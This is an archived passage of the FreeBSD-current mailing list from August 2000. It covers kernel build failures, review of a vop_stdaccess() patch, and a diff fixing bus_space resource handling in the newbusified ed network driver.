miscfs/kernfs/kernfs_vnops.c Index: msdosfs/msdosfs_vnops.c Index: ntfs/ntfs_vnops.c Index: sys/vnode.h Index: ufs/ufs/ufs_vnops.c Linecount: removes: 243 adds: 79 net change: -164 -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 13:53:23 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id B416237B91A for ; Wed, 16 Aug 2000 13:53:18 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA54009 for ; Wed, 16 Aug 2000 22:53:16 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: sys/modules/hpfs doesn't compile... From: Poul-Henning Kamp Date: Wed, 16 Aug 2000 22:53:16 +0200 Message-ID: <54007.966459196@critter> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG What's the deal with sys/modules/hpfs ? syv# cd /syv/s0/sys/modules/hpfs/ syv# make Warning: Object directory not changed from original /syv/s0/sys/modules/hpfs cc -O -pipe -D_KERNEL -Wall -Wredundant-decls -Wnested-externs -Wstrict-prototypes -Wmissing-prototypes -Wpointer-arith -Winline -Wcast-qual -fformat-extensions -ansi -DKLD_MODULE -nostdinc -I- -I. -I@ -I/usr/include -mpreferred-stack-boundary=2 -c /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:89: warning: `struct vop_abortop_args' declared inside parameter list /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:89: warning: its scope is only this definition or declaration, which is probably not what you want. /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c: In function `hpfs_strategy': /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:751: warning: passing arg 1 of `biodone' from incompatible pointer type /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:758: warning: passing arg 1 of `biodone' from incompatible pointer type /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c: At top level: /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:1382: `vop_abortop_desc' undeclared here (not in a function) /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:1382: initializer element is not constant /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:1382: (near initialization for `hpfs_vnodeop_entries[8].opve_op') /syv/s0/sys/modules/hpfs/../../fs/hpfs/hpfs_vnops.c:89: warning: `hpfs_abortop' used but never defined *** Error code 1 Stop in /syv/s0/sys/modules/hpfs. syv# -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 13:54:44 2000 Delivered-To: freebsd-current@freebsd.org Received: from critter.freebsd.dk (beachchick.freebsd.dk [212.242.32.208]) by hub.freebsd.org (Postfix) with ESMTP id CE0C137BED7 for ; Wed, 16 Aug 2000 13:54:27 -0700 (PDT) (envelope-from phk@critter.freebsd.dk) Received: from critter (localhost [127.0.0.1]) by critter.freebsd.dk (8.9.3/8.9.3) with ESMTP id WAA54043 for ; Wed, 16 Aug 2000 22:54:25 +0200 (CEST) (envelope-from phk@critter.freebsd.dk) To: current@freebsd.org Subject: LINT doesn't compile From: Poul-Henning Kamp Date: Wed, 16 Aug 2000 22:54:25 +0200 Message-ID: <54041.966459265@critter> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG syv# make -k linking kernel umodem.o: In function `umodem_set_line_coding': umodem.o(.text+0xe6a): undefined reference to `memcmp' *** Error code 1 (continuing) `all' not remade because of errors. syv# -- Poul-Henning Kamp | UNIX since Zilog Zeus 3.20 phk@FreeBSD.ORG | TCP/IP since RFC 956 FreeBSD coreteam member | BSD since 4.3-tahoe Never attribute to malice what can adequately be explained by incompetence. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 17:51:32 2000 Delivered-To: freebsd-current@freebsd.org Received: from fw.wintelcom.net (ns1.wintelcom.net [209.1.153.20]) by hub.freebsd.org (Postfix) with ESMTP id 58A6E37B8C4; Wed, 16 Aug 2000 17:51:27 -0700 (PDT) (envelope-from bright@fw.wintelcom.net) Received: (from bright@localhost) by fw.wintelcom.net (8.10.0/8.10.0) id e7H0pQc16864; Wed, 16 Aug 2000 17:51:26 -0700 (PDT) Date: Wed, 16 Aug 2000 17:51:26 -0700 From: Alfred Perlstein To: Poul-Henning Kamp Cc: current@FreeBSD.ORG Subject: Re: Patch test & review: vop_stdaccess() Message-ID: <20000816175126.Q4854@fw.wintelcom.net> References: <53850.966458102@critter> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.4i In-Reply-To: <53850.966458102@critter>; from phk@FreeBSD.ORG on Wed, Aug 16, 2000 at 10:35:02PM +0200 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG * Poul-Henning Kamp [000816 14:52] wrote: > > Please test and review this patch: > > http://phk.freebsd.dk/patch/vop_stdaccess.patch Not tested, but looks good, I'd like to see it applied. -Alfred To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 17:54:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from relay.butya.kz (butya-gw.butya.kz [212.154.129.94]) by hub.freebsd.org (Postfix) with ESMTP id 703AA37B569; Wed, 16 Aug 2000 17:54:14 -0700 (PDT) (envelope-from bp@butya.kz) Received: by relay.butya.kz (Postfix, from userid 1000) id 90107288C8; Thu, 17 Aug 2000 07:54:10 +0700 (ALMST) Received: from localhost (localhost [127.0.0.1]) by relay.butya.kz (Postfix) with ESMTP id 7CA7A28688; Thu, 17 Aug 2000 07:54:10 +0700 (ALMST) Date: Thu, 17 Aug 2000 07:54:10 +0700 (ALMST) From: Boris Popov To: Poul-Henning Kamp Cc: current@freebsd.org Subject: Re: Patch test & review: vop_stdaccess() In-Reply-To: <53850.966458102@critter> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Wed, 16 Aug 2000, Poul-Henning Kamp wrote: > Please test and review this patch: > > http://phk.freebsd.dk/patch/vop_stdaccess.patch Looks fine to me except vop_stdaccess() itself. Since VREAD, VWRITE and VEXEC bits are carefully layed this function can be rewritten to use single shift operation instead of 3 'or's: if (cred->cr_uid != uid) { amode >>= 3; if (!groupmember(gid, cred)) amode >>= 3; } return (fmode & amode) == amode ? 0 : EACCES; -- Boris Popov http://www.butya.kz/~bp/ To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 18:13:52 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id 3D2F937B845; Wed, 16 Aug 2000 18:13:39 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115207>; Thu, 17 Aug 2000 11:13:32 +1000 Content-return: prohibited Date: Thu, 17 Aug 2000 11:13:25 +1000 From: Peter Jeremy Subject: Newbusifying ed broke it To: freebsd-current@FreeBSD.ORG, tanimura@FreeBSD.ORG Mail-followup-to: freebsd-current@freebsd.org, tanimura@freebsd.org Message-Id: <00Aug17.111332est.115207@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I have an SMC8016 NIC which should probe as: ed0 at port 0x300-0x31f iomem 0xcc000-0xcffff irq 7 on isa0 ed0: address 00:00:c0:57:99:47, type WD8013EPC (16 bit) After the following commit: >tanimura 2000/08/13 21:31:11 PDT > > Modified files: > sys/dev/ed if_ed.c if_ed_pccard.c if_edvar.h > Log: > Newbusify ed driver. > > Partly submitted by: alex > > Revision Changes Path > 1.186 +459 -316 src/sys/dev/ed/if_ed.c > 1.15 +11 -70 src/sys/dev/ed/if_ed_pccard.c > 1.7 +15 -6 src/sys/dev/ed/if_edvar.h a verbose boot shows: ed0: failed to clear shared memory at cc000 - check configuration ed0 failed to probe at port 0x300-0x31f iomem 0xcc000-0xcffff irq 7 on isa0 Backing out the above commit fixes the problem. Any suggestions? Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 19:27:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from hotmail.com (law2-f93.hotmail.com [216.32.181.93]) by hub.freebsd.org (Postfix) with ESMTP id D653437BA56 for ; Wed, 16 Aug 2000 19:27:33 -0700 (PDT) (envelope-from moxonic@hotmail.com) Received: from mail pickup service by hotmail.com with Microsoft SMTPSVC; Wed, 16 Aug 2000 19:27:33 -0700 Received: from 203.108.235.62 by lw2fd.hotmail.msn.com with HTTP; Thu, 17 Aug 2000 GMT X-Originating-IP: [203.108.235.62] From: "yemin pound" To: current@freebsd.org Subject: test Date: Thu, 17 Aug 2000 02:27:32 GMT Mime-Version: 1.0 Content-Type: text/plain; format=flowed Message-ID: X-OriginalArrivalTime: 17 Aug 2000 02:27:33.0027 (UTC) FILETIME=[B2D6B730:01C007F2] Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG please reply ________________________________________________________________________ Get Your Private, Free E-mail from MSN Hotmail at http://www.hotmail.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 19:28:34 2000 Delivered-To: freebsd-current@freebsd.org Received: from server3.syd.mail.ozemail.net (server3.syd.mail.ozemail.net [203.108.7.41]) by hub.freebsd.org (Postfix) with ESMTP id 0FF0C37BA58 for ; Wed, 16 Aug 2000 19:28:23 -0700 (PDT) (envelope-from Yemin.Win@au.uu.net) Received: from stl006.ozemail.com.au (mail.internal.ozemail.com.au [203.108.14.42]) by server3.syd.mail.ozemail.net (8.9.0/8.6.12.IPASS) with ESMTP id MAA12323 for ; Thu, 17 Aug 2000 12:28:18 +1000 (EST) Received: by mail.internal.ozemail.com.au with Internet Mail Service (5.5.2650.21) id ; Thu, 17 Aug 2000 12:30:01 +1000 Message-ID: <8FE2FC44AB31D311BF1D0000F806E19C041EC463@mail-is.internal.ozemail.com.au> From: Yemin Win To: "'current@freebsd.org'" Subject: test Date: Thu, 17 Aug 2000 12:28:18 +1000 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2650.21) Content-Type: text/plain; charset="iso-8859-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Please reply Regards, Yemin Win Technical Support Representative UUNET Asia Pacific Customer Service Ph: 1300 368 811 (Australia) Ph: +61 (2) 9434 5489 Fax: +61 (2) 9438 3172 Email: support@au.uu.net UUNET, an MCI WorldCom Company, is a registered business name of OzEmail Pty Limited ACN 066 387 157 ============================== The information contained in this email message may be confidential. If you are not the intended recipient any use, distribution, disclosure or copying of this information is prohibited. If you receive this email in error, please tell us by return email and delete it and any attachments from your system. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 21:11:35 2000 Delivered-To: freebsd-current@freebsd.org Received: from rina.r.dl.itc.u-tokyo.ac.jp (rina.r.dl.itc.u-tokyo.ac.jp [133.11.199.247]) by hub.freebsd.org (Postfix) with ESMTP id 328B437B65B for ; Wed, 16 Aug 2000 21:11:24 -0700 (PDT) (envelope-from tanimura@r.dl.itc.u-tokyo.ac.jp) Received: (from uucp@localhost) by rina.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W-rina.r-0.1-11.01.2000) with UUCP id NAA89723; Thu, 17 Aug 2000 13:11:16 +0900 (JST) Received: (from uucp@localhost) by silver.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W) with UUCP id MAA04148; Thu, 17 Aug 2000 12:52:43 +0900 (JST) Received: from bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (localhost [127.0.0.1]) by bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp (8.9.3+3.2W/3.7W) with ESMTP/IPv4 id MAA01167; Thu, 17 Aug 2000 12:46:39 +0900 (JST) Date: Thu, 17 Aug 2000 12:46:39 +0900 Message-ID: <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> From: Seigo Tanimura To: Peter Jeremy Cc: freebsd-current@freebsd.org, Seigo Tanimura Subject: Re: Newbusifying ed broke it In-Reply-To: In your message of "Thu, 17 Aug 2000 11:13:25 +1000" <00Aug17.111332est.115207@border.alcanet.com.au> References: <00Aug17.111332est.115207@border.alcanet.com.au> User-Agent: Wanderlust/1.1.0 (Overjoyed) SEMI/1.13.7 (Awazu) FLIM/1.13.2 (Kasanui) MULE XEmacs/21.1 (patch 10) (Capitol Reef) (i386--freebsd) Organization: Carrots MIME-Version: 1.0 (generated by SEMI 1.13.7 - "Awazu") Content-Type: multipart/mixed; boundary="Multipart_Thu_Aug_17_12:46:38_2000-1" Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG --Multipart_Thu_Aug_17_12:46:38_2000-1 Content-Type: text/plain; charset=US-ASCII On Thu, 17 Aug 2000 11:13:25 +1000, Peter Jeremy said: peter.jeremy> I have an SMC8016 NIC which should probe as: peter.jeremy> ed0 at port 0x300-0x31f iomem 0xcc000-0xcffff irq 7 on isa0 peter.jeremy> ed0: address 00:00:c0:57:99:47, type WD8013EPC (16 bit) peter.jeremy> After the following commit: (snip) peter.jeremy> a verbose boot shows: peter.jeremy> ed0: failed to clear shared memory at cc000 - check configuration peter.jeremy> ed0 failed to probe at port 0x300-0x31f iomem 0xcc000-0xcffff irq 7 on isa0 Newbusification in the last commit was not done completely because resource tags and handles were not used proplerly. Could you please apply the following patch and see if your card works? --Multipart_Thu_Aug_17_12:46:38_2000-1 Content-Type: text/plain; type=patch; charset=US-ASCII Content-Disposition: attachment; filename="if_ed-2.diff" Content-Transfer-Encoding: 7bit Index: if_ed.c =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_ed.c,v retrieving revision 1.1.1.4.6.8 diff -u -r1.1.1.4.6.8 if_ed.c --- if_ed.c 2000/08/16 07:38:31 1.1.1.4.6.8 +++ if_ed.c 2000/08/17 03:38:36 @@ -164,7 +164,7 @@ static void ed_writeb(struct ed_softc *sc, int regno, u_char data) { - bus_space_write_1(sc->bst, sc->bsh, regno, data); + bus_space_write_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, data); } /* @@ -173,7 +173,7 @@ static u_char ed_readb(struct ed_softc *sc, int regno) { - return bus_space_read_1(sc->bst, sc->bsh, regno); + return bus_space_read_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno); } /* @@ -182,7 +182,7 @@ static void ed_writew(struct ed_softc *sc, int regno, u_int16_t data) { - bus_space_write_2(sc->bst, sc->bsh, regno, data); + bus_space_write_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, data); } /* @@ -191,7 +191,7 @@ static u_int16_t ed_readw(struct ed_softc *sc, int regno) { - return bus_space_read_2(sc->bst, sc->bsh, regno); + return bus_space_read_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno); } /* @@ -200,7 +200,7 @@ static void ed_writesw(struct ed_softc *sc, int regno, const u_int16_t *addr, size_t cnt) { - bus_space_write_multi_2(sc->bst, sc->bsh, regno, + bus_space_write_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, addr, cnt); } @@ -210,7 +210,7 @@ static void ed_bcopy_from(struct ed_softc *sc, caddr_t dst, int regno, size_t cnt) { - bus_space_read_multi_1(sc->bst, sc->bsh, regno, + bus_space_read_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), regno, dst, cnt); } @@ -270,8 +270,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res); - sc->nic_addr = sc->asic_addr + ED_WD_NIC_OFFSET; + sc->asic_addr = 0; + sc->nic_addr = ED_WD_NIC_OFFSET; sc->chip_type = ED_CHIP_TYPE_DP8390; if (ED_FLAGS_GETTYPE(flags) == ED_FLAGS_TOSH_ETHER) { @@ -534,7 +534,7 @@ printf("*** ed_alloc_memory() failed! (%d)\n", error); return (error); } - sc->mem_start = rman_get_start(sc->mem_res); + sc->mem_start = 0; /* * allocate one xmit buffer if < 16k, two buffers otherwise @@ -614,7 +614,7 @@ printf("starting memory performance test at 0x%x, size %d...\n", sc->mem_start, memsize*16384); for (i = 0; i < 16384; i++) - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); printf("***DONE***\n"); #endif @@ -622,7 +622,7 @@ /* * Now zero memory and verify that it is clear */ - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); for (i = 0; i < memsize; ++i) { @@ -681,8 +681,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res) + ED_3COM_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_3COM_NIC_OFFSET; + sc->asic_addr = ED_3COM_ASIC_OFFSET; + sc->nic_addr = ED_3COM_NIC_OFFSET; /* * Verify that the kernel configured I/O address matches the board @@ -848,7 +848,7 @@ if (error) return (error); - sc->mem_start = rman_get_start(sc->mem_res); + sc->mem_start = 0; sc->mem_size = memsize; sc->mem_end = sc->mem_start + memsize; @@ -938,7 +938,7 @@ /* * Zero memory and verify that it is clear */ - bus_space_set_multi_1(sc->bst, sc->bsh, sc->mem_start, 0x0, memsize); + bus_space_set_multi_1(rman_get_bustag(sc->mem_res), rman_get_bushandle(sc->mem_res), sc->mem_start, 0x0, memsize); for (i = 0; i < memsize; ++i) if (ed_readb(sc, sc->mem_start + i) != 0) { @@ -1006,8 +1006,8 @@ if (error) return (error); - sc->asic_addr = rman_get_start(sc->port_res) + ED_NOVELL_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_NOVELL_NIC_OFFSET; + sc->asic_addr = ED_NOVELL_ASIC_OFFSET; + sc->nic_addr = ED_NOVELL_NIC_OFFSET; /* XXX - do Novell-specific probe here */ @@ -1259,8 +1259,8 @@ return (error); /* Fill in basic information */ - sc->asic_addr = rman_get_start(sc->port_res) + ED_HPP_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_HPP_NIC_OFFSET; + sc->asic_addr = ED_HPP_ASIC_OFFSET; + sc->nic_addr = ED_HPP_NIC_OFFSET; sc->chip_type = ED_CHIP_TYPE_DP8390; sc->isa16bit = 0; /* the 8390 core needs to be in byte mode */ @@ -1409,7 +1409,7 @@ if (error) return (error); - sc->hpp_mem_start = rman_get_start(sc->mem_res); + sc->hpp_mem_start = 0; } /* @@ -2793,11 +2793,11 @@ ed_writeb(sc, sc->nic_addr + ED_P0_CR, ED_CR_RD0 | ED_CR_STA); if (sc->isa16bit) - bus_space_read_multi_2(sc->bst, sc->bsh, + bus_space_read_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, (u_int16_t *) dst, amount / 2); else - bus_space_read_multi_1(sc->bst, sc->bsh, + bus_space_read_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, (u_int8_t *) dst, amount); @@ -2840,7 +2840,7 @@ ed_writesw(sc, sc->asic_addr + ED_NOVELL_DATA, (u_int16_t *) src, len / 2); else - bus_space_write_multi_1(sc->bst, sc->bsh, + bus_space_write_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, src, len); @@ -2957,7 +2957,7 @@ /* NE1000s are easy */ while (m) { if (m->m_len) - bus_space_write_multi_1(sc->bst, sc->bsh, + bus_space_write_multi_1(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_NOVELL_DATA, m->m_data, m->m_len); m = m->m_next; @@ -3115,14 +3115,14 @@ } else { /* Read in data using the I/O port */ if (use_32bit_access && (amount > 3)) { - bus_space_read_multi_4(sc->bst, sc->bsh, + bus_space_read_multi_4(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int32_t *) dst, amount >> 2); dst += (amount & ~3); amount &= 3; } if (amount > 1) { - bus_space_read_multi_2(sc->bst, sc->bsh, + bus_space_read_multi_2(rman_get_bustag(sc->port_res), rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int16_t *) dst, amount >> 1); dst += (amount & ~1); @@ -3229,8 +3229,8 @@ } /* output contiguous words */ if ((len > 3) && use_32bit_accesses) { - bus_space_write_multi_4(sc->bst, - sc->bsh, + bus_space_write_multi_4(rman_get_bustag(sc->port_res), + rman_get_bushandle(sc->port_res), sc->asic_addr + ED_HPP_PAGE_4, (u_int32_t *) data, len); data += (len & ~3); @@ -3364,8 +3364,8 @@ }; /* Default Set */ - sc->asic_addr = rman_get_start(sc->port_res) + ED_NOVELL_ASIC_OFFSET; - sc->nic_addr = rman_get_start(sc->port_res) + ED_NOVELL_NIC_OFFSET; + sc->asic_addr = ED_NOVELL_ASIC_OFFSET; + sc->nic_addr = ED_NOVELL_NIC_OFFSET; /* Reset Card */ tmp = ed_readb(sc, sc->asic_addr + ED_NOVELL_RESET); ed_writeb(sc, sc->asic_addr + ED_NOVELL_RESET, tmp); Index: if_ed_pccard.c =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_ed_pccard.c,v retrieving revision 1.1.1.3.6.4 diff -u -r1.1.1.3.6.4 if_ed_pccard.c --- if_ed_pccard.c 2000/08/16 07:38:31 1.1.1.3.6.4 +++ if_ed_pccard.c 2000/08/17 03:38:37 @@ -144,9 +144,7 @@ attr_ioport = rdbuf[2] << 8 | rdbuf[0]; iobase = rman_get_start(sc->port_res); if (attr_ioport != iobase) { -#if notdef - printf("AX88190 IOBASE MISMATCH %04x -> %04x Setting\n",attr_ioport,iobase); -#endif /* notdef */ + /* Write the IO port address to the chip. */ ed_pccard_memwrite(dev,ED_AX88190_IOBASE0,iobase & 0xff); ed_pccard_memwrite(dev,ED_AX88190_IOBASE1,(iobase >> 8) & 0xff); } Index: if_edvar.h =================================================================== RCS file: /home/naklab/tanimura/rina2/CVS/FreeBSD/sys/dev/ed/if_edvar.h,v retrieving revision 1.1.1.1.24.3 diff -u -r1.1.1.1.24.3 if_edvar.h --- if_edvar.h 2000/08/16 07:38:31 1.1.1.1.24.3 +++ if_edvar.h 2000/08/17 03:38:37 @@ -48,9 +48,6 @@ struct resource* irq_res; /* resource for irq */ void* irq_handle; /* handle for irq handler */ - bus_space_tag_t bst; /* Bus Space tag */ - bus_space_handle_t bsh; /* Bus Space handle */ - #ifdef __alpha__ u_int asic_addr; /* ASIC I/O bus address */ u_int nic_addr; /* NIC (DS8390) I/O bus address */ --Multipart_Thu_Aug_17_12:46:38_2000-1 Content-Type: text/plain; charset=US-ASCII -- Seigo Tanimura --Multipart_Thu_Aug_17_12:46:38_2000-1-- To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 21:11:42 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id A9A2537B752 for ; Wed, 16 Aug 2000 21:11:25 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115273>; Thu, 17 Aug 2000 14:11:12 +1000 Content-return: prohibited Date: Thu, 17 Aug 2000 14:11:06 +1000 From: Peter Jeremy Subject: Re: Slow ssh throughput with -current In-reply-to: <00Aug14.140905est.115211@border.alcanet.com.au>; from peter.jeremy@alcatel.com.au on Mon, Aug 14, 2000 at 02:09:01PM +1000 To: current@FreeBSD.ORG Mail-followup-to: current@FreeBSD.ORG Message-Id: <00Aug17.141112est.115273@border.alcanet.com.au> MIME-version: 1.0 Content-type: text/plain; charset=us-ascii Content-disposition: inline User-Agent: Mutt/1.2.4i References: <00Aug10.153604est.115242@border.alcanet.com.au> <00Aug14.140905est.115211@border.alcanet.com.au> Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 2000-Aug-10 15:36:01 +1000, Peter Jeremy wrote: >I just noticed a really peculiar network slowdown with -current from >about a week ago. The machine has two NICs - an old 16-bit SMC card >(ed0) running 10baseT and a PCI SMC card (tx0) running 100baseTX full >duplex. > >When I scp (either ssh-1.2.27 or OpenSSH) to a remote machine via ed0, >I get a throughput of ~8KB/sec. When I go via tx0, I get ~3MB/sec >(CPU limited). If I use ftp via ed0, I get wire speed (just over >1MB/sec). Having just finished instrumenting tcp_output.c to track the problem down, I find that it has vanished. It seems that it was fixed sometime between 3rd August and last night. The only change to tcp_output.c during this time was v1.46 - which only affects error behaviour and backing that change out had no effect (ie the problem is still gone). I don't recall seeing any commits that would have affected this problem. Peter To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 22:27:53 2000 Delivered-To: freebsd-current@freebsd.org Received: from sin.cc.kogakuin.ac.jp (sin.cc.kogakuin.ac.jp [133.80.128.5]) by hub.freebsd.org (Postfix) with ESMTP id EC7E137B906 for ; Wed, 16 Aug 2000 22:27:46 -0700 (PDT) (envelope-from nyan@cc.kogakuin.ac.jp) Received: from localhost (localhost [127.0.0.1]) by sin.cc.kogakuin.ac.jp (8.8.8/3.7W00071916) with ESMTP id OAA13556; Thu, 17 Aug 2000 14:27:21 +0900 (JST) To: tanimura@r.dl.itc.u-tokyo.ac.jp Cc: peter.jeremy@alcatel.com.au, freebsd-current@freebsd.org Subject: Re: Newbusifying ed broke it In-Reply-To: <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> References: <00Aug17.111332est.115207@border.alcanet.com.au> <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> From: Takahashi Yoshihiro X-Mailer: Mew version 1.94.1 on Emacs 19.34 / Mule 2.3 (SUETSUMUHANA) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit Message-Id: <20000817142721W.nyan@cc.kogakuin.ac.jp> Date: Thu, 17 Aug 2000 14:27:21 +0900 (JST) X-Dispatcher: imput version 990905(IM130) Lines: 18 Sender: owner-freebsd-current@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG In article <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp> Seigo Tanimura writes: > Newbusification in the last commit was not done completely because > resource tags and handles were not used proplerly. Could you please > apply the following patch and see if your card works? I think this patch still has a problem of memory resource access. I have fixed this problem and supported many PC-98 Cbus devices again. The patch is available from http://home.jp.FreeBSD.org/~nyan/patches/ed-pc98.diff.gz If it doesn't have fatal problem, I'll commit it. --- Takahashi Yoshihiro The Center for Information Science, Kogakuin Univ. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-current" in the body of the message From owner-freebsd-current Wed Aug 16 22:36:22 2000 Delivered-To: freebsd-current@freebsd.org Received: from alcanet.com.au (mail.alcanet.com.au [203.62.196.10]) by hub.freebsd.org (Postfix) with SMTP id F1AB837B8F8 for ; Wed, 16 Aug 2000 22:36:16 -0700 (PDT) (envelope-from jeremyp@gsmx07.alcatel.com.au) Received: by border.alcanet.com.au id <115251>; Thu, 17 Aug 2000 15:36:05 +1000 Content-return: prohibited Date: Thu, 17 Aug 2000 15:35:59 +1000 From: Peter Jeremy Subject: Re: Newbusifying ed broke it In-reply-to: <86wvhga6sg.wl@bunko.carrots.uucp.r.dl.itc.u-tokyo.ac.jp.nkth.carrots.uucp.r.dl.itc.u-tokyo.ac.jp>; from 